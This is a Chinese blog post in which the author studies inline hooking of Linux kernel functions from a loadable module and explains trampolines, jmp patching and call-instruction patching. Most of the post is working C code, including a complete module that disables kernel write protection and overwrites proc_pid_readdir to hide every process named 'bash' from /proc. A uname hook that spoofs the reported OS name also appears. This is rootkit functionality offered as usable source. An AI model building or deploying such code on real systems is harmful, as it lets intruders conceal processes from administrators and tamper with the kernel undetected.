![Linux下基于lkm的inline hook学习插图 Linux下基于lkm的inline hook学习插图](https://blog.eswlnk.com/wp-content/uploads/wpcy/3507d92370b2ed40e671c373e35e233b.jpg)
最基础的几种 hook 方式,后面还有很多,这里主要记录 jmp 方法。主要参考文章。
主要原理
通过修改目标函数的起始汇编,使用 jmp 指令跳转到我们 hook 的函数地址,在执行完 hook 函数后或者期间,在跳转回原函数地址。 我们选择目标函数的起始点做修改,而不选择后面做修改,因为这样,我们 hook 函数,可以正确寻找到调用目标函数所赋值的参数,寻参是通过 ebp 相对位置寻找的。
主要操作
- 备份前几条汇编指令(可选)
- 计算跳转
- 修改目标函数前几条指令,及后续 hook 跳转回目标函数指令(后面部分可选) 找了一个开源的实现 inline hook 的项目,分析一下
分析
先看他的一个 hook 数据结构:
struct Hook
{
//用于多个hook对象时寻找的索引。
unsigned int id;
//要备份的汇编指令长度
unsigned int hook_len;
//要备份的汇编指令内容
unsigned char *original_code;
//目标函数需要修改为的汇编指令内容
unsigned char *hook;
//hook函数结尾的汇编指令
unsigned char *trampoline;
//目标函数的地址
unsigned char *og_func;
//hook函数的地址
unsigned char *new_func;
unsigned char paused;
};
我们最终所需要的信息都在这个数据结构中。 首先获取系统调用表(原理),(注: 在 Linux 内核 v4.17及之后 sys_close 就不再被导出
):
unsigned long *find(void)
{
unsigned long *sctable;
unsigned long int i = (unsigned long int)sys_close;
while (i < ULONG_MAX)
{
sctable = (unsigned long *)i;
if (sctable[__NR_close] == (unsigned long)sys_close)
{
return sctable;
}
i += sizeof(void *);
}
return NULL;
}
然后通过系统调用表获取相应的调用。如果我们修改 hook 内核中一些函数,那么我们可以通过 kallsyms 来获取。通过查阅 /proc/kallsyms
是包含所有内核符号表及其动态加载的符号表,也可以通过 kallsyms_lookup_name
来获取符号的地址。 接下来是获取备份汇编指令的长度:
int number_of_bytes_to_pad_jump(unsigned char *src)
{
int res = 0;
DISASM MyDisasm;
int len = 0;
int Error = 0;
(void)memset(&MyDisasm, 0, sizeof(DISASM));
MyDisasm.EIP = src;
for (int i = 0; i < 12 && res < HOOK_LEN; i++)
{
//反汇编,每次返回一条汇编指令长度。
len = Disasm(&MyDisasm);
printk("len: %d\n", len);
for (int j = 0; j < len; j++)
{
printk("%02x ", *(((unsigned char *)MyDisasm.EIP) + j));
}
res += len;
MyDisasm.EIP = MyDisasm.EIP + len;
printk("\n");
}
return res;
}
它使用来 beaengine ,查阅之后了解到他是一个反汇编工具,问了一下大锤,上述代码的核心功能是通过 beaengine 来进行反汇编,每次返回一条汇编指令长度。这里的条件就是在汇编指令小于 12 条且总长度小于 HOOK_LEN,这里就是刚刚指令总长大于 HOOK_LEN 的长度。 接着就是核心函数 create_tramp
:
unsigned char *create_tramp(unsigned long *src, unsigned long *new_func, unsigned int id, unsigned int h_len)
{
printk("[goof] hooking %p with %p\n", src, new_func);
unsigned char *tmp = (unsigned char *)src;
//初始化hook结构
struct Hook *h = kmalloc(sizeof(struct Hook), GFP_KERNEL);
hooks[id] = h;
h->og_func = (unsigned char *)src;
h->new_func = (unsigned char *)new_func;
//h_len为需要备份的汇编长度
h->hook_len = h_len;
//申请h_len长度的内存资源
h->original_code = kmalloc(h->hook_len, GFP_KERNEL);
//拷贝目标的h_len长度的内容备份到h->original_code中,完成备份
memcpy(h->original_code, src, h->hook_len);
//申请h_len+HOOK_LEN长度的内存资源,其中h_len用于存在备份内容,HOOK_len用于存放hook jump。
h->trampoline = __vmalloc(h->hook_len + HOOK_LEN, GFP_KERNEL, PAGE_KERNEL_EXEC);
//存放备份内容
memcpy(h->trampoline, h->original_code, h->hook_len);
//这是JUMP_TEMPLATE的内容
// Code used to jump to arbitrary addresses
// movabs rax,0x1122334455667788
// mov rax,rax
// jmp rax
//将JUMP_TEMPLATE的内容拷贝到h->trampoline的后HOOK_LEN空间
//同时在后面将 目标地址+h_len 作为后续hook函数回跳的地址,将它替换到JUMP_TEMPLATE的movabs rax
//后面跟的地址,8位,用户后续跳转会原执行点。
unsigned char *jump_back = kmalloc(HOOK_LEN, GFP_KERNEL);
memcpy(jump_back, JUMP_TEMPLATE, HOOK_LEN);
tmp = (unsigned char *)src + h->hook_len;
memcpy(jump_back + 2, &tmp, 8);
//这里感觉有问题,后面应该拷贝的 HOOK_LEN长度???后续实际测试的时候调试一下。
memcpy(h->trampoline + h->hook_len, jump_back, h->hook_len)
//释放资源,完成了对 h->trampoline的内容准备。
kfree(jump_back);
printk("\n[goof] trampoline %p\n\t[goof] ", h->trampoline);
for (int i = 0; i < h->hook_len * 2; i++)
{
printk("%02x ", h->trampoline[i]);
}
printk("\n");
//申请h_len长度的内存资源,用于替换掉备份的汇编指令
//内容为JUMP_TEMPLATE,用于跳转到hook函数起始地址,所以将地址替换为hook函数的地址。
unsigned char *jump = kmalloc(h->hook_len, GFP_KERNEL);
memset(jump, 0x90, h->hook_len);
memcpy(jump, JUMP_TEMPLATE, HOOK_LEN);
tmp = ((unsigned char *)new_func);
memcpy(jump + 2, &tmp, 8);
printk("[goof] Memory hasn't been written\n");
//关掉写保护
DISABLE_W_PROTECTED_MEMORY
//替换为构造的jump指令
memcpy(src, jump, h->hook_len);
//开启写保护
ENABLE_W_PROTECTED_MEMORY
return NULL;
}
关于写保护的资料。
再看 hook 函数,由于此开源项目我没有跑起来,每次加载都会崩掉,猜测是因为调用表获取的问题,所以先看看边城给出的代码。
int new_proc_pid_readdir(struct file *file, struct dir_context *ctx)
{
......
for (iter = new_next_tgid(ns, iter);
iter.task;
iter.tgid += 1, iter = new_next_tgid(ns, iter))
{
char name[PROC_NUMBUF];
int len;
cond_resched();
if (!new_has_pid_permissions(ns, iter.task, HIDEPID_INVISIBLE))
continue;
len = snprintf(name, sizeof(name), "%d", iter.tgid);
ctx->pos = iter.tgid + TGID_OFFSET;
if (strcmp("bash", iter.task->comm) == 0)
{
printk("Hidden process is [tgid:%d][pid:%d]:%s\n", ctx->pos, iter.task->pid, iter.task->comm);
continue;
}
if (!new_proc_fill_cache(file, ctx, name, len,
new_proc_pid_instantiate, iter.task, NULL))
{
put_task_struct(iter.task);
return 0;
}
}
ctx->pos = PID_MAX_LIMIT + TGID_OFFSET;
return 0;
}
通过直接对比源码中的 proc_pid_readdir
,增加了:
if (strcmp("bash", iter.task->comm) == 0)
{
printk("Hidden process is [tgid:%d][pid:%d]:%s\n", ctx->pos, iter.task->pid, iter.task->comm);
continue;
}
可以看出是对 command 为 bash 的进程做了过滤,不让他存在 /proc 目录中来进行进程的隐藏,所以后续,可以对内核任意函数进行同种方法的 hook。因为边城的 hook,并没有跳转会原函数的操作,而是做了类似直接替换原函数的操作,做的备份也只是用于后续的恢复,所以在对 hook 函数的编程中,要保证在指定点操作,就需要将之前的操作都重写一遍,当然可以导出的函数,就可以直接引用。 再看 goof 给出的 hook 代码:
int new_sys_newuname(struct utsname *buf)
{
//这里他给出的备注是,先调用原sys_uname来对buf进行数据填充,这里trampoline就是备份数据加
//jmp 回跳。
int (*func_ptr)(struct utsname *) = (void *)hooks[0]->trampoline;
int ret = func_ptr(buf);
char tmp[] = "Macos";
copy_to_user(buf->sysname, tmp, 5);
return ret;
}
这里的操作就表现来 trampoline 的作用。(系统调用大多都是汇编,直接改写现在我也不会。) jmp 和修改 call 的方法很类似,jmp 方法会比直接修改 call 方法变更更多,其他操作都类似。
测试
边城给的实例代码是最原始的,可以直接运行,非常爽。goof 实现的更完整,但是我跑不起来,而且只能对系统调用表的系统调用函数进行修改,所以我就搬运了一下,将备份模块和替换操作模块都搬运到边城给的原始代码中,这两个部分 goof 写的更完善。代码贴在最后面。效果:
![Linux下基于lkm的inline hook学习插图1 Linux下基于lkm的inline hook学习插图1](https://static.esw.eswlnk.com/2023/05/20230531044423572.png-esw)
后续需要多看看 linux 下重要操作所涉及的源码。
修改 uname 系统调用,效果就很简单:
![Linux下基于lkm的inline hook学习插图2 Linux下基于lkm的inline hook学习插图2](https://static.esw.eswlnk.com/2023/05/20230531044420272.png-esw)
我该如何用 gdb 调试到 proc_pid_readdir 或者系统调用 sys_newuname,来看看是否是真的以想象的流程运行的?这个放在后面文章中来学习,应该是需要构造 linux 虚拟机进行调试,边城的资料中有给出。
代码
边城的代码+goof 的代码
#include "goof.h"
#include "include/beaengine/BeaEngine.h"
#include "beaengineSources/BeaEngine.c"
#define FIRST_PROCESS_ENTRY 256
#define PROC_NUMBUF 13
#define TGID_OFFSET (FIRST_PROCESS_ENTRY + 2)
MODULE_LICENSE("GPL");
MODULE_AUTHOR("CHS");
typedef int instantiate_t(struct inode *, struct dentry *,
struct task_struct *, const void *);
typedef struct tgid_iter (*hack_next_tgid)(struct pid_namespace *ns, struct tgid_iter iter);
hack_next_tgid new_next_tgid;
/*hack point*/
typedef bool (*hack_proc_fill_cache)(struct file *file, struct dir_context *ctx,
const char *name, int len,
instantiate_t instantiate, struct task_struct *task, const void *ptr);
hack_proc_fill_cache new_proc_fill_cache;
typedef int (*hack_proc_pid_instantiate)(struct inode *dir,
struct dentry *dentry,
struct task_struct *task, const void *ptr);
hack_proc_pid_instantiate new_proc_pid_instantiate;
typedef bool (*hack_ptrace_may_access)(struct task_struct *task, unsigned int mode);
hack_ptrace_may_access new_ptrace_may_access;
typedef int (*origin_proc_pid_readdir_point)(struct file *file, struct dir_context *ctx);
origin_proc_pid_readdir_point origin_proc_pid_readdir;
void set_addr_rw(void)
{
unsigned long cr0 = read_cr0();
clear_bit(16, &cr0);
write_cr0(cr0);
}
void set_addr_ro(void)
{
unsigned long cr0 = read_cr0();
set_bit(16, &cr0);
write_cr0(cr0);
}
struct tgid_iter
{
unsigned int tgid;
struct task_struct *task;
};
static bool new_has_pid_permissions(struct pid_namespace *pid,
struct task_struct *task,
int hide_pid_min)
{
new_ptrace_may_access = (hack_ptrace_may_access)kallsyms_lookup_name("ptrace_may_access");
if (!new_proc_fill_cache)
{
printk("ptrace_may_access err;");
return false;
}
if (pid->hide_pid < hide_pid_min)
return true;
if (in_group_p(pid->pid_gid))
return true;
return new_ptrace_may_access(task, PTRACE_MODE_READ_FSCREDS);
}
int new_proc_pid_readdir(struct file *file, struct dir_context *ctx)
{
new_next_tgid = (hack_next_tgid)kallsyms_lookup_name("next_tgid");
if (!new_next_tgid)
{
printk("next_tgid err;");
return -1;
}
new_proc_fill_cache = (hack_proc_fill_cache)kallsyms_lookup_name("proc_fill_cache");
if (!new_proc_fill_cache)
{
printk("proc_fill_cache err;");
return -1;
}
new_proc_pid_instantiate = (hack_proc_pid_instantiate)kallsyms_lookup_name("proc_pid_instantiate");
if (!new_proc_pid_instantiate)
{
printk("proc_pid_instantiate err;");
return -1;
}
struct tgid_iter iter;
struct pid_namespace *ns = file_inode(file)->i_sb->s_fs_info;
loff_t pos = ctx->pos;
if (pos >= PID_MAX_LIMIT + TGID_OFFSET)
return 0;
if (pos == TGID_OFFSET - 2)
{
struct inode *inode = d_inode(ns->proc_self);
if (!dir_emit(ctx, "self", 4, inode->i_ino, DT_LNK))
return 0;
ctx->pos = pos = pos + 1;
}
if (pos == TGID_OFFSET - 1)
{
struct inode *inode = d_inode(ns->proc_thread_self);
if (!dir_emit(ctx, "thread-self", 11, inode->i_ino, DT_LNK))
return 0;
ctx->pos = pos = pos + 1;
}
iter.tgid = pos - TGID_OFFSET;
iter.task = NULL;
for (iter = new_next_tgid(ns, iter);
iter.task;
iter.tgid += 1, iter = new_next_tgid(ns, iter))
{
char name[PROC_NUMBUF];
int len;
cond_resched();
if (!new_has_pid_permissions(ns, iter.task, HIDEPID_INVISIBLE))
continue;
len = snprintf(name, sizeof(name), "%d", iter.tgid);
ctx->pos = iter.tgid + TGID_OFFSET;
if (strcmp("bash", iter.task->comm) == 0)
{
printk("Hidden process is [tgid:%d][pid:%d]:%s\n", ctx->pos, iter.task->pid, iter.task->comm);
continue;
}
if (!new_proc_fill_cache(file, ctx, name, len,
new_proc_pid_instantiate, iter.task, NULL))
{
put_task_struct(iter.task);
return 0;
}
}
ctx->pos = PID_MAX_LIMIT + TGID_OFFSET;
return 0;
}
unsigned char *create_tramp(unsigned long *src, unsigned long *new_func, unsigned int id, unsigned int h_len)
{
printk("[goof] hooking %p with %p\n", src, new_func);
unsigned char *tmp = (unsigned char *)src;
struct Hook *h = kmalloc(sizeof(struct Hook), GFP_KERNEL);
hooks[id] = h;
h->og_func = (unsigned char *)src;
h->new_func = (unsigned char *)new_func;
h->hook_len = h_len;
h->original_code = kmalloc(h->hook_len, GFP_KERNEL);
memcpy(h->original_code, src, h->hook_len);
h->trampoline = __vmalloc(h->hook_len + HOOK_LEN, GFP_KERNEL, PAGE_KERNEL_EXEC);
memcpy(h->trampoline, h->original_code, h->hook_len);
unsigned char *jump_back = kmalloc(HOOK_LEN, GFP_KERNEL);
memcpy(jump_back, JUMP_TEMPLATE, HOOK_LEN);
tmp = (unsigned char *)src + h->hook_len;
memcpy(jump_back + 2, &tmp, 8);
memcpy(h->trampoline + h->hook_len, jump_back, HOOK_LEN);
kfree(jump_back);
printk("\n[goof] trampoline %p\n\t[goof] ", h->trampoline);
int i;
for (i = 0; i < h->hook_len * 2; i++)
{
printk("%02x ", h->trampoline[i]);
}
printk("\n");
unsigned char *jump = kmalloc(h->hook_len, GFP_KERNEL);
memset(jump, 0x90, h->hook_len);
memcpy(jump, JUMP_TEMPLATE, HOOK_LEN);
tmp = ((unsigned char *)new_func);
memcpy(jump + 2, &tmp, 8);
printk("[goof] Memory hasn't been written\n");
set_addr_rw();
memcpy(src, jump, h->hook_len);
set_addr_ro();
return NULL;
}
int number_of_bytes_to_pad_jump(unsigned char *src)
{
int res = 0;
DISASM MyDisasm;
int len = 0;
int Error = 0;
(void)memset(&MyDisasm, 0, sizeof(DISASM));
MyDisasm.EIP = src;
int i;
for (i = 0; i < 12 && res < HOOK_LEN; i++)
{
len = Disasm(&MyDisasm);
printk("len: %d\n", len);
int j;
for (j = 0; j < len; j++)
{
printk("%02x ", *(((unsigned char *)MyDisasm.EIP) + j));
}
res += len;
MyDisasm.EIP = MyDisasm.EIP + len;
printk("\n");
}
return res;
}
void remove_tramp(unsigned int id)
{
set_addr_rw();
memcpy(hooks[id]->og_func, hooks[id]->original_code, hooks[id]->hook_len);
set_addr_ro();
}
int __init hack_kernel(void)
{
unsigned long offset = 0;
unsigned long hook_offset;
hooks = kmalloc(sizeof(struct Hook *) * HOOKS_COUNT, GFP_KERNEL);
origin_proc_pid_readdir = kallsyms_lookup_name("proc_pid_readdir");
int padding_size = number_of_bytes_to_pad_jump((unsigned char *)origin_proc_pid_readdir);
create_tramp((unsigned long *)origin_proc_pid_readdir, (unsigned long *)new_proc_pid_readdir, 0, padding_size);
printk("Hooked uname with %d bytes\n\n", padding_size);
return 0;
}
void __exit hack_kernel_exit(void)
{
remove_tramp(0);
printk("hack kernel goodbye!!");
return;
}
module_init(hack_kernel);
module_exit(hack_kernel_exit)
内核 4.15 + gcc 8.4 测试通过。 修改 call 指令核心代码:
void call_patch(unsigned char *func, int origin, int new)
{
DISASM MyDisasm;
int count = 0;
int len = 0;
unsigned int origin_offset = 0;
unsigned long new_offset = 0;
(void)memset(&MyDisasm, 0, sizeof(DISASM));
MyDisasm.EIP = func;
int i;
for (i = 0; i < 512; i++)
{
len = Disasm(&MyDisasm);
if ((((unsigned char *)MyDisasm.EIP)[0] & 0x000000ff) == 0xe8)
{
unsigned char buf[len - 1];
memset(buf, 0, len - 1);
int j;
for (j = 1; j < len; j++)
{
buf[j - 1] = (func + count)[j];
}
origin_offset = *(int *)buf;
if ((int)func + origin_offset + len + count == origin)
{
printk("find call offset\n");
new_offset = (unsigned long)new - (unsigned long)func - len - count;
int n;
for (n = 1; n < len; n++)
{
(func + count)[n] = (new_offset & (0x000000ff << ((n - 1) * 8))) >> ((n - 1) * 8);
};
printk("new call\n");
return;
}
};
count += len;
MyDisasm.EIP = MyDisasm.EIP + len;
}
}
📮评论